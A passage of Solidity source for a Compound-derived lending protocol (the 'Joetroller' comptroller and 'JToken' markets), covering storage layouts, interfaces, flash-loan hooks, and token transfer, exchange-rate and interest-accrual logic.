if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
contract UnitrollerAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active brains of Unitroller
*/
address public joetrollerImplementation;
/**
* @notice Pending brains of Unitroller
*/
address public pendingJoetrollerImplementation;
}
contract JoetrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint256 public liquidationIncentiveMantissa;
/**
* @notice Per-account mapping of "assets you are in"
*/
mapping(address => JToken[]) public accountAssets;
enum Version {
VANILLA,
COLLATERALCAP,
WRAPPEDNATIVE
}
struct Market {
/// @notice Whether or not this market is listed
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint256 collateralFactorMantissa;
/// @notice Per-market mapping of "accounts in this asset"
mapping(address => bool) accountMembership;
/// @notice JToken version
Version version;
}
/**
* @notice Official mapping of jTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
/// @notice A list of all markets
JToken[] public allMarkets;
// @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market.
address public borrowCapGuardian;
// @notice Borrow caps enforced by borrowAllowed for each jToken address. Defaults to zero which corresponds to unlimited borrowing.
mapping(address => uint256) public borrowCaps;
// @notice The supplyCapGuardian can set supplyCaps to any number for any market. Lowering the supply cap could disable supplying to the given market.
address public supplyCapGuardian;
// @notice Supply caps enforced by mintAllowed for each jToken address. Defaults to zero which corresponds to unlimited supplying.
mapping(address => uint256) public supplyCaps;
// @notice creditLimits allowed specific protocols to borrow and repay without collateral.
mapping(address => uint256) public creditLimits;
// @notice flashloanGuardianPaused can pause flash loan as a safety mechanism.
mapping(address => bool) public flashloanGuardianPaused;
// @notice rewardDistributor The module that handles reward distribution.
address payable public rewardDistributor;
}
contract JoetrollerInterface {
/// @notice Indicator that this is a Joetroller contract (for inspection)
bool public constant isJoetroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata jTokens) external returns (uint256[] memory);
function exitMarket(address jToken) external returns (uint256);
/*** Policy Hooks ***/
function mintAllowed(
address jToken,
address minter,
uint256 mintAmount
) external returns (uint256);
function mintVerify(
address jToken,
address minter,
uint256 mintAmount,
uint256 mintTokens
) external;
function redeemAllowed(
address jToken,
address redeemer,
uint256 redeemTokens
) external returns (uint256);
function redeemVerify(
address jToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
) external;
function borrowAllowed(
address jToken,
address borrower,
uint256 borrowAmount
) external returns (uint256);
function borrowVerify(
address jToken,
address borrower,
uint256 borrowAmount
) external;
function repayBorrowAllowed(
address jToken,
address payer,
address borrower,
uint256 repayAmount
) external returns (uint256);
function repayBorrowVerify(
address jToken,
address payer,
address borrower,
uint256 repayAmount,
uint256 borrowerIndex
) external;
function liquidateBorrowAllowed(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external returns (uint256);
function liquidateBorrowVerify(
address jTokenBorrowed,
address jTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount,
uint256 seizeTokens
) external;
function seizeAllowed(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function seizeVerify(
address jTokenCollateral,
address jTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external;
function transferAllowed(
address jToken,
address src,
address dst,
uint256 transferTokens
) external returns (uint256);
function transferVerify(
address jToken,
address src,
address dst,
uint256 transferTokens
) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address jTokenBorrowed,
address jTokenCollateral,
uint256 repayAmount
) external view returns (uint256, uint256);
}
interface JoetrollerInterfaceExtension {
function checkMembership(address account, JToken jToken) external view returns (bool);
function updateJTokenVersion(address jToken, JoetrollerV1Storage.Version version) external;
function flashloanAllowed(
address jToken,
address receiver,
uint256 amount,
bytes calldata params
) external view returns (bool);
}
contract JTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / sec)
*/
uint256 internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint256 internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-jToken operations
*/
JoetrollerInterface public joetroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first JTokens (used when totalSupply = 0)
*/
uint256 internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint256 public reserveFactorMantissa;
/**
* @notice Block timestamp that interest was last accrued at
*/
uint256 public accrualBlockTimestamp;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint256 public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint256 public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint256 public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint256 public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping(address => uint256) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping(address => mapping(address => uint256)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint256 principal;
uint256 interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
contract JErc20Storage {
/**
* @notice Underlying asset for this JToken
*/
address public underlying;
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract JSupplyCapStorage {
/**
* @notice Internal cash counter for this JToken. Should equal underlying.balanceOf(address(this)) for CERC20.
*/
uint256 public internalCash;
}
contract JCollateralCapStorage {
/**
* @notice Total number of tokens used as collateral in circulation.
*/
uint256 public totalCollateralTokens;
/**
* @notice Record of token balances which could be treated as collateral for each account.
* If collateral cap is not set, the value should be equal to accountTokens.
*/
mapping(address => uint256) public accountCollateralTokens;
/**
* @notice Check if accountCollateralTokens have been initialized.
*/
mapping(address => bool) public isCollateralTokenInit;
/**
* @notice Collateral cap for this JToken, zero for no cap.
*/
uint256 public collateralCap;
}
/*** Interface ***/
contract JTokenInterface is JTokenStorage {
/**
* @notice Indicator that this is a JToken contract (for inspection)
*/
bool public constant isJToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address jTokenCollateral,
uint256 seizeTokens
);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when joetroller is changed
*/
event NewJoetroller(JoetrollerInterface oldJoetroller, JoetrollerInterface newJoetroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint256 amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Failure event
*/
event Failure(uint256 error, uint256 info, uint256 detail);
/*** User Interface ***/
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function borrowRatePerSecond() external view returns (uint256);
function supplyRatePerSecond() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) public view returns (uint256);
function exchangeRateCurrent() public returns (uint256);
function exchangeRateStored() public view returns (uint256);
function getCash() external view returns (uint256);
function accrueInterest() public returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint256);
function _acceptAdmin() external returns (uint256);
function _setJoetroller(JoetrollerInterface newJoetroller) public returns (uint256);
function _setReserveFactor(uint256 newReserveFactorMantissa) external returns (uint256);
function _reduceReserves(uint256 reduceAmount) external returns (uint256);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint256);
}
contract JErc20Interface is JErc20Storage {
/*** User Interface ***/
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
JTokenInterface jTokenCollateral
) external returns (uint256);
function _addReserves(uint256 addAmount) external returns (uint256);
}
contract JWrappedNativeInterface is JErc20Interface {
/**
* @notice Flash loan fee ratio
*/
uint256 public constant flashFeeBips = 3;
/*** Market Events ***/
/**
* @notice Event emitted when a flashloan occured
*/
event Flashloan(address indexed receiver, uint256 amount, uint256 totalFee, uint256 reservesFee);
/*** User Interface ***/
function mintNative() external payable returns (uint256);
function redeemNative(uint256 redeemTokens) external returns (uint256);
function redeemUnderlyingNative(uint256 redeemAmount) external returns (uint256);
function borrowNative(uint256 borrowAmount) external returns (uint256);
function repayBorrowNative() external payable returns (uint256);
function repayBorrowBehalfNative(address borrower) external payable returns (uint256);
function liquidateBorrowNative(address borrower, JTokenInterface jTokenCollateral)
external
payable
returns (uint256);
function flashLoan(
ERC3156FlashBorrowerInterface receiver,
address initiator,
uint256 amount,
bytes calldata data
) external returns (bool);
function _addReservesNative() external payable returns (uint256);
}
contract JCapableErc20Interface is JErc20Interface, JSupplyCapStorage {
/**
* @notice Flash loan fee ratio
*/
uint256 public constant flashFeeBips = 3;
/*** Market Events ***/
/**
* @notice Event emitted when a flashloan occured
*/
event Flashloan(address indexed receiver, uint256 amount, uint256 totalFee, uint256 reservesFee);
/*** User Interface ***/
function gulp() external;
}
contract JCollateralCapErc20Interface is JCapableErc20Interface, JCollateralCapStorage {
/*** Admin Events ***/
/**
* @notice Event emitted when collateral cap is set
*/
event NewCollateralCap(address token, uint256 newCap);
/**
* @notice Event emitted when user collateral is changed
*/
event UserCollateralChanged(address account, uint256 newCollateralTokens);
/*** User Interface ***/
function registerCollateral(address account) external returns (uint256);
function unregisterCollateral(address account) external;
function flashLoan(
ERC3156FlashBorrowerInterface receiver,
address initiator,
uint256 amount,
bytes calldata data
) external returns (bool);
/*** Admin Functions ***/
function _setCollateralCap(uint256 newCollateralCap) external;
}
contract JDelegatorInterface {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(
address implementation_,
bool allowResign,
bytes memory becomeImplementationData
) public;
}
contract JDelegateInterface {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
/*** External interface ***/
/**
* @title Flash loan receiver interface
*/
interface IFlashloanReceiver {
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external;
}
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(
address src,
address dst,
uint256 amount
) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/**
* @title Compound's JToken Contract
* @notice Abstract base for JTokens
* @author Compound
*/
contract JToken is JTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param joetroller_ The address of the Joetroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(
JoetrollerInterface joetroller_,
InterestRateModel interestRateModel_,
uint256 initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_
) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockTimestamp == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the joetroller
uint256 err = _setJoetroller(joetroller_);
require(err == uint256(Error.NO_ERROR), "setting joetroller failed");
// Initialize block timestamp and borrow index (block timestamp mocks depend on joetroller being set)
accrualBlockTimestamp = getBlockTimestamp();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block timestamp / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint256(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint256(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint256(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint256) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
return mul_ScalarTruncate(exchangeRate, accountTokens[owner]);
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by joetroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
uint256 jTokenBalance = getJTokenBalanceInternal(account);
uint256 borrowBalance = borrowBalanceStoredInternal(account);
uint256 exchangeRateMantissa = exchangeRateStoredInternal();
return (uint256(Error.NO_ERROR), jTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block timestamp
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockTimestamp() internal view returns (uint256) {
return block.timestamp;
}
/**
* @notice Returns the current per-sec borrow interest rate for this jToken
* @return The borrow interest rate per sec, scaled by 1e18
*/
function borrowRatePerSecond() external view returns (uint256) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-sec supply interest rate for this jToken
* @return The supply interest rate per sec, scaled by 1e18
*/
function supplyRatePerSecond() external view returns (uint256) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the estimated per-sec borrow interest rate for this jToken after some change
* @return The borrow interest rate per sec, scaled by 1e18
*/
function estimateBorrowRatePerSecondAfterChange(uint256 change, bool repay) external view returns (uint256) {
uint256 cashPriorNew;
uint256 totalBorrowsNew;
if (repay) {
cashPriorNew = add_(getCashPrior(), change);
totalBorrowsNew = sub_(totalBorrows, change);
} else {
cashPriorNew = sub_(getCashPrior(), change);
totalBorrowsNew = add_(totalBorrows, change);
}
return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves);
}
/**
* @notice Returns the estimated per-sec supply interest rate for this jToken after some change
* @return The supply interest rate per sec, scaled by 1e18
*/
function estimateSupplyRatePerSecondAfterChange(uint256 change, bool repay) external view returns (uint256) {
uint256 cashPriorNew;
uint256 totalBorrowsNew;
if (repay) {
cashPriorNew = add_(getCashPrior(), change);
totalBorrowsNew = sub_(totalBorrows, change);
} else {
cashPriorNew = sub_(getCashPrior(), change);
totalBorrowsNew = add_(totalBorrows, change);
}
return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external nonReentrant returns (uint256) {
require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external nonReentrant returns (uint256) {
require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public view returns (uint256) {
return borrowBalanceStoredInternal(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return the calculated balance or 0 if error code is non-zero
*/
function borrowBalanceStoredInternal(address account) internal view returns (uint256) {
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return 0;
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
uint256 principalTimesIndex = mul_(borrowSnapshot.principal, borrowIndex);
uint256 result = div_(principalTimesIndex, borrowSnapshot.interestIndex);
return result;
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public nonReentrant returns (uint256) {
require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the JToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public view returns (uint256) {
return exchangeRateStoredInternal();
}
/**
* @notice Calculates the exchange rate from the underlying to the JToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return calculated exchange rate scaled by 1e18
*/
function exchangeRateStoredInternal() internal view returns (uint256) {
uint256 _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return initialExchangeRateMantissa;
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint256 totalCash = getCashPrior();
uint256 cashPlusBorrowsMinusReserves = sub_(add_(totalCash, totalBorrows), totalReserves);
uint256 exchangeRate = div_(cashPlusBorrowsMinusReserves, Exp({mantissa: _totalSupply}));
return exchangeRate;
}
}
/**
* @notice Get cash balance of this jToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint256) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed timestamp
* up to the current timestamp and writes new checkpoint to storage.
*/
function accrueInterest() public returns (uint256) {
/* Remember the initial block timestamp */
uint256 currentBlockTimestamp = getBlockTimestamp();
uint256 accrualBlockTimestampPrior = accrualBlockTimestamp;
/* Short-circuit accumulating 0 interest */
if (accrualBlockTimestampPrior == currentBlockTimestamp) {
return uint256(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint256 cashPrior = getCashPrior();
uint256 borrowsPrior = totalBorrows;
uint256 reservesPrior = totalReserves;
uint256 borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint256 borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of seconds elapsed since the last accrual */
uint256 timestampDelta = sub_(currentBlockTimestamp, accrualBlockTimestampPrior);
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * timestampDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), timestampDelta);
uint256 interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior);
uint256 totalBorrowsNew = add_(interestAccumulated, borrowsPrior);
uint256 totalReservesNew = mul_ScalarTruncateAddUInt(
Exp({mantissa: reserveFactorMantissa}),
interestAccumulated,
reservesPrior
);
uint256 borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockTimestamp = currentBlockTimestamp;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives jTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint256 mintAmount, bool isNative) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount, isNative);
}
/**
* @notice Sender redeems jTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of jTokens to redeem into underlying
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint256 redeemTokens, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0, isNative);
}
/**
* @notice Sender redeems jTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming jTokens
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint256 redeemAmount, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount, isNative);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint256 borrowAmount, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount, isNative);
}
struct BorrowLocalVars {
